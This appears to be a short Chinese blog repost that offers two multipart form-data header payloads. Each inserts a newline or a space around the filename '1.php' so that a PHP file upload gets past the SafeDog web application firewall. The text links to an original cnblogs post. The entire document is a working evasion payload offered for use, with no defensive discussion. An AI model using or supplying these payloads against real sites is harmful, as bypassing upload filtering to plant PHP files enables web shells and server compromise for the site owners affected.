这里附上两个payload：
Content-Disposition: form-data; name=”up_picture”; filename=”[回车]1.php” Content-Disposition: form-data; name=”up_picture”; filename=[空格]”1.php”
Content-Disposition: form-data; name=”up_picture”; filename=”[回车]1.php”
Content-Disposition: form-data; name=”up_picture”; filename=[空格]”1.php”
bypass safedog upload
原文：http://www.cnblogs.com/hookjoy/p/7989712.html
